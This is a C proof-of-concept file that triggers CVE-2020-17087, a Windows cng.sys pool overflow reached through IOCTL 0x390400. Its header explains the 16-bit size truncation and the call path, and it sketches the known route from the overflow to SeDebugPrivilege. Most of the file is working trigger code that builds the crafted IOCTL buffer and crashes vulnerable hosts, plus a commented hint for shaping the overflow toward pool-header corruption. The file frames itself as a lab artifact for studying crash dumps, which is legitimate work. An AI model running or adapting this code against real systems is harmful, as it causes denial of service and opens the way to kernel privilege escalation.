// ============================================================================
// poc_cve_2020_17087.c — CVE-2020-17087, cng.sys IOCTL 0x390400 pool overflow
//
// TRIGGER PoC — CAUSES A BSOD ON VULNERABLE SYSTEMS.
// Run ONLY on a throwaway VM with crash dumps enabled (Complete/Kernel dump),
// snapshotted beforehand. The crash dump is the blue-team artifact here:
// it shows the overflow write inside cng!CfgAdtpFormatPropertyBlock with the
// IOCTL path KsecDispatch -> cng!CngDispatch -> CngDeviceControl.
//
// Root cause (Google Project Zero issue 2104, Mateusz Jurczyk & Sergei
// Glazunov; exploited ITW chained with CVE-2020-15999):
//   cng!CfgAdtpFormatPropertyBlock transforms an attacker-controlled input
//   buffer into a space-separated hex string in Unicode, so the output size
//   is SrcLen * 6. The size passed to cng!BCryptAlloc is truncated to 16 bit.
//   With SrcLen >= 0x2AAB, (USHORT)(SrcLen*6) wraps to a tiny value:
//       (uint16)(0x2AAB * 6) = 2 bytes allocated,
//       while 0x2AAB * 6     = 0x10002 bytes written -> NonPagedPoolNx overflow
//   overwriting adjacent pool with "XX 00 XX 00 20 00"-pattern bytes.
//
// Reachability (userspace -> bug):
//   DeviceIoControl("\\\\.\\GLOBALROOT\\Device\\Cng", 0x390400, ...) directly,
//   or indirectly via the documented Win32 API
//   BCryptSetContextFunctionProperty() (bcrypt.dll), which ends up in the
//   same CNG config IOCTL path (KsecDispatch -> cng!CngDispatch ->
//   cng!CngDeviceControl -> cng!ConfigIoHandler_Safeguarded ->
//   cng!ConfigFunctionIoHandler -> cng!CfgAdtpFormatPropertyBlock).
//
// Affected: Windows 10 2004 KB4579311 and earlier (fixed in KB4586781,
// cng.sys 10.0.19041.630). Exploitation (Segment Heap BlockSize attack,
// named-pipe DQE abuse, quota ProcessBilled decrement -> SeDebugPrivilege)
// per PixiePoint Security's writeup; this file is only the trigger.
//
// Based on the original GP0 crash PoC (issue 2104 attachment).
//
// Build (MSVC developer prompt, x64):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2020_17087.c /link kernel32.lib
// ============================================================================

#include <Windows.h>
#include <stdio.h>

int main(void)
{
    HANDLE hCng;
    // DataBufferSize overflows when used for allocating memory in
    // cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
    //
    // In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
    // bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
    const DWORD DataBufferSize = 0x2AAB;
    const DWORD IoctlSize = 4096 + DataBufferSize;
    BYTE *IoctlData;
    ULONG_PTR OutputBuffer = 0;
    DWORD BytesReturned = 0;
    BOOL Status;

    printf("[*] CVE-2020-17087 cng.sys IOCTL 0x390400 pool-overflow TRIGGER\n");
    printf("[!] WARNING: on a vulnerable system this WILL bugcheck (BSOD).\n");
    printf("[!] Test VMs only - snapshot first, enable kernel crash dumps.\n");

    hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
                       GENERIC_READ | GENERIC_WRITE, 0, NULL,
                       OPEN_EXISTING, 0, NULL);
    if (hCng == NULL || hCng == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open \\Device\\Cng: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);

    IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
    if (!IoctlData) {
        printf("[-] HeapAlloc failed\n");
        CloseHandle(hCng);
        return 1;
    }
    RtlZeroMemory(IoctlData, IoctlSize);

    *(DWORD *)     &IoctlData[0x00] = 0x1A2B3C4D;   // required magic
    *(DWORD *)     &IoctlData[0x04] = 0x10400;
    *(DWORD *)     &IoctlData[0x08] = 1;
    *(ULONGLONG *) &IoctlData[0x10] = 0x100;
    *(DWORD *)     &IoctlData[0x18] = 3;
    *(ULONGLONG *) &IoctlData[0x20] = 0x200;        // -> L"FUNCTION"
    *(ULONGLONG *) &IoctlData[0x28] = 0x300;
    *(ULONGLONG *) &IoctlData[0x30] = 0x400;        // -> L"PROPERTY"
    *(DWORD *)     &IoctlData[0x38] = 0;
    *(ULONGLONG *) &IoctlData[0x40] = 0x500;
    *(ULONGLONG *) &IoctlData[0x48] = 0x600;
    *(DWORD *)     &IoctlData[0x50] = DataBufferSize; // OVERFLOW field
    *(ULONGLONG *) &IoctlData[0x58] = 0x1000;       // data buffer offset
    *(ULONGLONG *) &IoctlData[0x60] = 0;
    RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
    RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

    // Optional: tune the overflow content's tail. The PixiePoint exploit sets
    // the last two bytes so a target pool header BlockSize becomes 0x64:
    //   memset(IoctlData + 0x1000 + DataBufferSize - 0x2, '\xdd', 0x2);

    printf("[+] Sending IOCTL 0x390400 (in size 0x%lx, DataBufferSize 0x%lx)...\n",
           (unsigned long)IoctlSize, (unsigned long)DataBufferSize);

    Status = DeviceIoControl(hCng, 0x390400,
                             IoctlData, IoctlSize,
                             &OutputBuffer, sizeof(OutputBuffer),
                             &BytesReturned, NULL);

    // Reaching this line means the system did NOT crash.
    printf("[+] Ioctl returned, Status: %d, OutputBuffer: 0x%zx\n",
           Status, OutputBuffer);
    if (!Status) {
        printf("[*] LastError: %lu (0x%lx) - request rejected.\n"
               "    If this is 0x80070057 / access-denied style, the host is\n"
               "    likely PATCHED (KB4586781+, cng.sys >= 10.0.19041.630)\n"
               "    or the message layout was refused earlier in the path.\n",
               GetLastError(), (unsigned long)GetLastError());
    }

    HeapFree(GetProcessHeap(), 0, IoctlData);
    CloseHandle(hCng);
    return 0;
}
